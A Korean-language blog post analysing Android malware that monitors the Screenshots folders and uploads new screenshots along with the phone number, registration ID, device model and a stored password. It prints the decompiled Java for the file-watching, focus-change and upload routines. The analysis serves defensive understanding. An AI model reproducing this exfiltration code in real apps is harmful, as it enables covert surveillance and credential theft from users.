Post

사용자의 행동을 감시하는 코드 - screen capture

사용자 스크린샷을 관찰하는 악성코드
사용자의 행동을 감시하는 코드 - screen capture

Step by step

최근에 특이한 코드가 눈에 보여 따라가다가 굉장히 재밌는 패턴을 발견하여 해당 코드에 대해 정리해보려고 한다.

사용자의 파일과 액티비티 전환에 따른 결과를 보고 해당 파일을 특정 서버로 전송하는 코드이다.

코드 분석

근래 파일 관찰자와 액티비티 화면 전환을 통하여 최근 디바이스에서 캡쳐한 사진을 확인하는 코드가 발견되었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    @Override  // android.os.FileObserver
    public void onEvent(int v, String s) {
        // 반환되는 값에 따라 조건문을 열어두었다.
        switch(v) {
            { . . . }
            case 0x80: {
                if(!s.startsWith(".")) {
                    MainActivity.instance.didDetectedScreenShot(this.rootPath + s);
                }

                Log.d("FILEOBSERVER", "MOVED_TO:" + s);
                return;
            }
            case 0x100: {
                Log.d("FILEOBSERVER", "CREATE:" + this.rootPath + s);
                if(!s.startsWith(".")) {
                    MainActivity.instance.didDetectedScreenShot(this.rootPath + s);
                    return;
                }

                return;
            }
            { . . . }
        }
    }

위는 파일옵저버에서 event 가 발생될 때 처리하는 코드이다.

0x80 은 아래와 같다.

1
2
3
Event type: A file or subdirectory was moved to the monitored directory

Constant Value: 128 (0x00000080)

0x100 은 아래와 같다.

1
2
3
Event type: A new file or subdirectory was created under the monitored directory

Constant Value: 256 (0x00000100)

자세한 내용은 다음 문서를 참고하면 된다.

아래는 액티비티 포커스가 바뀔 때 호출되는 코드 지점이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
    @Override  // android.app.Activity
    public void onWindowFocusChanged(boolean z) {
        if(Build.VERSION.SDK_INT >= 21) {
            ArrayList arrayList0 = new ArrayList();
            arrayList0.add(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES).getAbsolutePath() + "/Screenshots");
            try {
                arrayList0.add(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM).getCanonicalPath() + "/Screenshots");
            }
            catch(IOException iOException0) {
                iOException0.printStackTrace();
            }

            Iterator iterator0 = arrayList0.iterator();
        label_10:
            while(iterator0.hasNext()) {
                Object object0 = iterator0.next();
                File file0 = new File(((String)object0));
                if(!file0.exists()) {
                    continue;
                }

                File[] arr_file = file0.listFiles();
                if(arr_file == null) {
                    continue;
                }

                int v = 0;
                while(true) {
                    if(v >= arr_file.length) {
                        continue label_10;
                    }

                    File file1 = arr_file[v];
                    long v1 = new Date().getTime() - file1.lastModified();
                    // 파일이 수정된 시간이 1분 미만일 경우 조건문으로 진입한다.
                    if(v1 < 60000L && v1 > 0L && this.capturedFileNames.size() < 10) {
                        this.didDetectedScreenShot(file1.getAbsolutePath());
                    }

                    ++v;
                }
            }
        }

        super.onWindowFocusChanged(z);
    }

아래는 최종적으로 호출되는 함수 지점이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public void didDetectedScreenShot(String s) {
    if(Build.VERSION.SDK_INT >= 21 && !this.capturedFileNames.contains(s)) {
        this.capturedFileNames.add(s);
        File file0 = new File(s);
        this.handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                try {
                    MediaType mediaType0 = MediaType.parse("image/*");
                    RequestBody requestBody0 = RequestBody.create(file0, mediaType0);
                    Part multipartBody$Part0 = Part.createFormData("image", file0.getName(), requestBody0);
                    // 사용자의 개인 식별 번호를 전송한다.
                    RequestBody requestBody1 = RequestBody.create(basic_info.getModel(), MediaType.parse("text/plain"));
                    RequestBody requestBody2 = RequestBody.create(basic_info.getMyPhoneNumber(MainActivity.this.mContext), MediaType.parse("text/plain"));
                    RequestBody requestBody3 = RequestBody.create(basic_info.getMyRegId(MainActivity.this.mContext), MediaType.parse("text/plain"));
                    RequestBody requestBody4 = RequestBody.create(basic_info.getMyPassword(MainActivity.this.mContext), MediaType.parse("text/plain"));
                    MainActivity.this.webApiService.postImage(multipartBody$Part0, RequestBody.create("android", MediaType.parse("text/plain")), RequestBody.create("33", MediaType.parse("text/plain")), requestBody1, requestBody2, requestBody3, requestBody4).enqueue(new Callback() {
                        @Override  // retrofit2.Callback
                        public void onFailure(Call call, Throwable t) {
                        }

                        @Override  // retrofit2.Callback
                        public void onResponse(Call call0, Response response0) {
                        }
                    });
                }
                catch(Exception exception0) {
                    exception0.printStackTrace();
                }
            }
        }, 1000L);
    }
}

위 코드를 확인하면 파일을 서버로 전송하는 것을 볼 수 있다.

해당 코드를 보면 특정 라이프사이클에서 사용자의 환경을 확인하는 것으로 보인다.

This post is licensed under CC BY 4.0 by the author.
If you find any errors, please let me know by comment or email. Thank you.

© Ruffalo. Some rights reserved.

I'm

Using the Chirpy theme for Jekyll.